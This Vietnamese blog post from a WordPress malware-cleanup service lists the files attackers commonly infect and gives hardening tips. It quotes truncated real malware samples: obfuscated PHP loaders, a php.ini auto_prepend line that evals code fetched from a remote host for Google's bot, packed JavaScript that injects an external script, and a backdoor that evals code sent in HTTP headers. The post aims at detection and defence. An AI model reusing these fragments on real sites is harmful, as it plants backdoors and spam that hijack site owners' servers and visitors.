Các dạng tấn công mà hacker vào website WordPress
Hiện nay rất nhiều Các dạng tấn công mà hacker thường nhắm vào website WordPress mà nguyenthaimmo biết nay sẽ chia sẻ cho các bạn để các bạn cũng có thể tự tìm và khác phục và cho website của bản thân mình .Trong quá trình hoạt động của trang web trên nền tảng wordpress, việc thiếu cập nhật hoặc vì lý do nào đó xẩy ra các lỗ hổng an ninh qua đó hacker có thể lợi dụng để chèn mã malware vào là điều không thể tránh khỏi vì vậy chuyện sống chung với các lỗ hổng bảo mật là việc không thể thiếu.
1.Những dấu hiệu website bạn dính mã độc
- Có những cuộc tấn công với các dấu hiệu nhận diện dễ dàng như thay đổi giao diện trang web, vào web thấy popup lên các thông báo, hình ảnh quảng cáo không như mong muốn hoặc đơn giản là re-direct đến một trang web khác thì cũng sẽ dễ dàng cảnh báo chúng ta để có biện pháp đối phó.
- Trong bài post có những bài viết lạ bị tấn công bởi user của website đặt mặt khẩu yếu
- Tuy nhiên có nhiều cuộc tấn công âm thầm, nó chỉ xẩy ra với các đối tượng truy cập web đặc biệt như các bot của máy tìm kiếm, giới hạn các phiên bản mobile chúng ta sẽ khó nhận biết hơn nấy không tinh tế, giám sát thường xuyên để phát hiện các điểm bất thường khi hoạt động. Kiểu Index tiếng nhật là phổ biến bạn chỉ cần gõ trên thanh địa chỉ : site:tên miền của bạn
- Nếu chúng ta phát hiện kịp thời, và triển khai các giải pháp phòng chống, loại bỏ mã độc thì mất mát của chúng ta sẽ ít nhất với traffic của vài ngày mất đi, tuy nhiên nếu để lâu dài thì google sẽ loại bỏ index, đánh xấu xấu, giảm thứ hạng trong máy tìm kiếm thì traffic của chúng ta có thể sẽ mất hàng tháng, thậm chí hàng năm và câu chuyện kinh doanh đương nhiên là sẽ ảnh hưởng nặng nề nếu không có người dùng đến hoặc bị ngăn cản khi đến với website của chúng ta.
2. Các điểm tấn công mà nguyenthaimmo gặp phải trong quá trình là cho khách hàng của mình
2.1. wp-config.php và wp-setting.php
Đây là 2 điểm ưa thích mà thông qua các lỗ hổng của theme, lỗ hổng của Plugin hay chính lỗ hổng của WordPress mà hacker hướng đến. Họ sẽ chèn đoạn mã lên đầu hoặc xuống dưới cùng của 2 file này để thực thi các lệnh mà họ mong muốn. Trong thực tế thì tôi gặp phải cả chèn lên trên hoặc xuống dưới tuy nhiên cũng không loại trừ việc chèn vào giữa với những đoạn lệnh tưởng như vô hại và khó nhận biết. Trong thực tế để mã hóa đi thì hacker hay dùng encode base64 để che mắt chúng ta tuy nhiên họ cũng có thể viết các mã lệnh trần như thông thường làm chúng ta lầm tưởng rằng các lệnh này là sẵn có có WordPress.
Để có thể nhận biết được, các bạn cần thường xuyên đọc và hiểu cấu trúc lệnh của 2 tập tin này để khi detect bằng tay thì có thể nhận biết được mã lệnh thông thường và các mã lệnh bất thường.
Hoặc bạn có thể vào đây để tải mã nguồn gốc về đề so sánh là chắc nhất còn không xoá sạch trừa lại 2 file wp-config và wp-conten : https://vi.wordpress.org/download/
2.2 wp-blog-header.php
Đây là trường hợp tôi đã gặp phải khi hacker chèn vào đọc request header để phân biệt user Agent, nếu là các bot thì nó sẽ trả lại một bó link được điều khiển từ một website khác để trả lại cho bot của máy tìm kiếm.
2.3. Các file index.php trong các thư mục chứa plugin hoặc include
Thông thường, đây là các file index giữ chỗ với nội dung đơn giản “Im lặng là vàng”, có kích thước 27 bytes hoặc cùng lắm là 405 bytes với file index bên ngoài thư mục gốc public_html. Tuy nhiên nếu phát hiện ra các file này có kích thước khác, hãy mở nó ra xem, nếu bạn phát hiện các đoạn mã lệnh lạ thì rất có thể đó là mã mà hacker đã chèn vào.
2.4. wp-load.php
wp-load.php chứa những thư viện cho phép plugin có thể sử dụng hàm core của wordpress, hacker cũng có thể can thiệp vào đây làm thay đổi kết quả đầu ra một cách âm thầm. Vào thư mục cache, bạn sẽ thấy các trang html cache chúng trả ra kết quả khác bên ngoài trang web của chúng ta.
Đây là ví dụ mã chèn vào wp-load.php
<?php /*v*/define(‘WSOPCM0324’,__FILE__);$EqAynr=base64_decode(“bjF6Yi9tYTVcdnQwaTI4LXB4dXF5KjZscmtkZzlfZWhjc3dvNCtmMzdqWldORVVwYnJDaXFlc3RHTUJBbkh1bERramhmUG1jWVFGVkx6UlNUeUtvT2d3YUp2ZFhJeA==”);$JWfflF=$EqAynr[3].$EqAynr[6].$EqAynr[33].$EqAynr[30];$amesyf=$EqAynr[33].$EqAynr[10].$EqAynr[24].$EqAynr[10].$EqAynr[24];$zbSiqi=$amesyf[0].$EqAynr[18].$EqAynr[3].$amesyf[0].$amesyf[1].$EqAynr[24];$ypxokD=$EqAynr[7].$EqAynr[13];$JWfflF.=$EqAynr[22].$EqAynr[36].$EqAynr[29].$EqAynr[26].$EqAynr[30].$EqAynr[32].$EqAynr[35].$EqAynr[26]…. Nhận dạng đã được cắt ngắn!
2.5. mplugin.php
Nếu không để ý, bạn sẽ tưởng rằng đây là một file thông thường trong thư mục plugin, tuy nhiên bản chất đây là một malware quảng cáo, nó sẽ tùy từng trường hợp khác nhau mà load các quảng cáo nổi lên trên trang web của bạn.
2.6. Các file php với các ký tự lằng nhằng
Các file này thì rất dễ nhận biết vì chúng chẳng có nghĩa gì trong tên file cả, không giống như ở trên, nó lẫn lộn, lờ nhờ như thật thì nếu thấy những file này bạn nên đặt mối nghi ngờ vào nó. Hãy thử xóa nó đi. Nếu WP của bạn không sao thì rõ là hàng dư thừa không mong muốn rồi.
2.7. Inject vào database
Bằng cách nào đó, thông qua các lỗ hổng injection (có lẽ có ở khắp nơi) mà hacker có thể chèn các bảng của wordpress của chúng ta.Bảng wp_option là nơi thường được viếng thăm nhiều nhất và thông số bị thay đi thường là option siteurl hoặc home. Ngoài ra sẽ có nhiều chỗ khác. Đối với wp_posts, món ưa thích của hacker là chèn các đoạn lệnh javascript vào đây, dĩ nhiên ở đây rất nhiều và như rừng vì vậy chúng ta cần thạo SQL một chút để tìm các đoạn có chứa mã <javascript>, các đoạn base64_decode để xác định mã chèn vào.
2.8. etc/php.ini
Trường hợp hacker thông qua các lỗ hổng web có thể tải lên các file php thực thi sau đó tiến quyền thì có thể can thiệp mã điều khiển vào tập tin php.ini để thực thi php trước khi website được chạy nhằm thực hiện các ý đồ riêng của mình.
Ví dụ :
auto_prepend_file =“data://“.”text/plain,<?php%20if(stristr(@$_SERVER[‘HTTP_USER_AGENT’].@$_SERVER[‘HTTP_REFERER’],‘google.c’)){@eval(@file_get_contents(’http://www.php.autos/ss.html’));}”
Nội dung file ss.html được tải về
@header(‘Content-Type:text/html;charset=utf-8’); error_reporting(0); $ac = ‘ RewriteEngine On RewriteBase / DirectoryIndex index.php RewriteRule ^index.php$ – [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] ‘; $root = isset($_SERVER[‘DOCUMENT_ROOT’]) ? $_SERVER[‘DOCUMENT_ROOT’] : (isset($_SERVER[‘APPL_PHYSICAL_PATH’]) ? trim($_SERVER[‘APPL_PHYSICAL_PATH’], chr(92).chr(92)) : (isset($_[‘PATH_TRANSLATED’]) ? str_replace($_SERVER[“PHP_SELF”]) : str_replace(str_replace(“/”, chr(92).chr(92), isset($_SERVER[“PHP_SELF”]) ? $_SERVER[“PHP_SELF”] : (isset($_SERVER[“URL”]) ? $_SERVER[“URL”] : $_SERVER[“SCRIPT_NAME”])), “”, isset($_SERVER[“PATH_TRANSLATED”]) ? $_SERVER[“PATH_TRANSLATED”] : $_SERVER[“SCRIPT_FILENAME”]))); if(strlen(file_get_contents($root.”/.htaccess”))!=233){ @file_put_contents($root.”/.htaccess”,$ac); } $OOOOOO = “%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c”; global $O; $O = urldecode($OOOOOO); $oOooOO = ‘z0222_6’; $oOooOOoO = $O[15] . … nhân dạng đã được cắt ngắn.
2.9. jquery.js và jquery.min.js
Mẫu chèn vào:
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘4 1=2.5(\’1\’);1.3(\’6\’,\’7/8\’);1.3(\’9\’,”a://b.c.d/e/f.g”);2.h(\’i\’)[0].j(1);’,20,20,’|script|document|setAttribute|var|createElement|type|text|javascript|src|https|www|chianxiaoshuo|net|api|main|js|getElementsByTagName|head|appendChild’.split(‘|’),0,{}));
function _0x1235(_0x22e912,_0x306c10){var _0x547a60=_0x547a();return _0x1235=function(_0x123522,_0x580013){_0x123522=_0x123522-0x1a4;var _0x202a7f=_0x547a60[_0x123522];return _0x202a7f;},_0x1235(_0x22e912,_0x306c10);}function _0x47531a(_0x4b0661,_0x4481a6){return _0x2a00(_0x4481a6- -0x29b,_0x4b0661);}function _0x547a(){var _0x470313=[‘mZq3nJGZvKzxu1bo’,’3192nsafpX’,’1356lvtrTE’,’74110zTyQjM’,’jmkIzcxdLeTdBCoQ’,’WQ5ggmoJWPxcTCokWQuhvxDUFq’,’otq4otbsrND2s1K’,’createElement’,’8VxeRBs’,’94890RFwvKY’,’AgvHza’,’33ZBuxiX’,’mtKZota…. Nhận dạng đã được cắt ngắn.
2.10. wp-login
Mẫu chèn vào
<script>
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘5 1=2.6(\’1\’);1.3(\’7\’,\’8/9\’);1.3(\’a\’,”b://4.c-d.e/f/g.4″);2.h(\’i\’)……………………………….
2.11. functions.php của theme
Mẫu chèn vào
@include “\x2f\x68\x6f\x6d\x65\x2f\x61\x70\x70\x72\x61\x64\x61\x2f\x77\x65\x62\x2f\x68\x6f\x6d\x65\x2e\x72\x61\x64\x61\x2e\x61\x73\x69\x61\x2f\x70\x75\x62\x6c\x69\x63\x5f\x68\x74\x6d\x6c\x2f\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x69\x6d\x61\x67\x65\x73\x2f\x77\x70\x69\x63\x6f\x6e\x73\x2d\x33\x78\x2e\x70\x6e\x67”;
2.12. wp-include/load.php
<?php
@set_time_limit(3600);
@ignore_user_abort(1);
$Prefix = “xmeffectivexm”;
$lan = base64_encode(@$_SERVER[‘HTTP_ACCEPT_LANGUAGE’]);
if(isset($_SERVER[‘REQUEST_URI’])) {
$uri = $_SERVER[‘REQUEST_URI’];
}else{
if (isset($_SERVER[‘argv’])) {
$uri = $_SERVER[‘PHP_SELF’] . ‘?’ . $_SERVER[‘argv’][0];
} else {… nhận dạng này đã được cắt ngắn/* Rc cx051 */?>
2.13. head.php
Chèn thêm file head.php
<?php
@set_time_limit(3600);
@ignore_user_abort(1);
$Prefix = “xlstationxl”;
$lan = base64_encode(@$_SERVER[‘HTTP_ACCEPT_LANGUAGE’]);
if(isset($_SERVER[‘REQUEST_URI’])) {
$uri = $_SERVER[‘REQUEST_URI’];
}else{
if (isset($_SERVER[‘argv’])) {…. nhận dạng này đã được cắt ngắn/* Rc cx050 */
2.14. Một số nhận dạng malware được chèn vào tệp php
<?php
$_HEADERS = getallheaders();
if (isset($_HEADERS[‘X-Dns-Prefetch-Control’])) {
$c = “<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fH\x45A\x44E\x52S\x5b\”\x41u\x74h\x6fr\x69z\x61t\x69o\x6e\”\x5d)\x3b@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\”\x41u\x74h\x6fr\x69z\x61t\x69o\x6e\”\x5d)\x3b”;
$f = ‘/tmp/.’.time();
file_put_contents($f, $c);
include($f);
unlink($f);=’.’=’,’_26’=>….. nhận dạng này đã cắt ngắn, nếu anh em nào thực sự quan tâm có thể liên hệ để lấy.
Thực thi hàm từ xa được gửi qua http header
3. Video có những trường và cách xử lý
4 Vậy phương pháp nào giúp website bảo mật tốt hơn
- Hạn chế sử dụng plugin theme không rõ nguồn ngốc nếu sài hàng null nên dùng phần mền diệt virut quét sơ qua những file plugin chuẩn bị cài đặt hoặc update lên website ( Hãy backup trước khi thực hiện bất kỳ thay đổi nào )
- Website quét file : https://www.virustotal.com/, https://sitecheck.sucuri.net/, https://transparencyreport.google.com/safe-browsing/search, https://www.virscan.org./,https://opentip.kaspersky.com/
- Còn về việc backup website các bạn sử dụng nếu site <2G thì sài All-in-One WP Migration còn lớn hơn thì sài UpdraftPlus còn cẩn thận hơn lên host hay vps xuất file databas ra nhé .
- Sử dụng plugin WP EXtra nó sẽ giúp bạn rất nhiều trong tap bảo mật
- Cài thêm plugin bảo mật tốt nên dùng WordFence , iThemes Security
- Đặt mật khẩu mạnh .
- Bật bảo mật 2 lớp đối với admin
- Cài đặt bình luận chỉ có người đăng nhập mới được bình luận sẽ hạn chế được spam và mã độc , Nhưng sẽ làm cản trở trải nghiệm người dùng vì họ lười vì quá trình đăng ký nên thường họ sẽ ít để lại bình luận
Tắt tính năng cho phép chỉnh sửa file, thư mục. Hãy thêm phần sau vào tệp wp-config.php (ở cuối):
1define('DISALLOW_FILE_EDIT', true);- Cài chứng chỉ SSL
- Thay đổi đường link mặc định vào quản trị cũ wp-admin, đổi thành tên của bạn thì plugin mình gợi ý ở trên cho bạn nó có thể giúp bạn làm điều này mà không cần cài thêm bất cứ 1 plugin nào nữa .
- Thường xuyên cập nhận theme plugin của mình .
- Vào host bật chương trình diệt virut lên .
Trên đây là những kinh nghiệm và cách khách phục cơ bản nhất để bạn có thể tự xử lý khi website của bạn bị dính mã độc , còn nếu khi website của bạn bị nhiễm nặng hay bị google index khá nhiều giờ phải làm sao xoá link đó thì hãy liên hệ dịch vụ bên nguyenthaimmo sẽ giúp bạn giải quyết triệt để và bảo hành 12 tháng khi sử dụng dịch vụ bên nguyenthaimmo. Đây là hướng dẫn của google bạn có thể tham khảo để khắc phục
Hãy để lại cảm nhận của bạn về bài viết này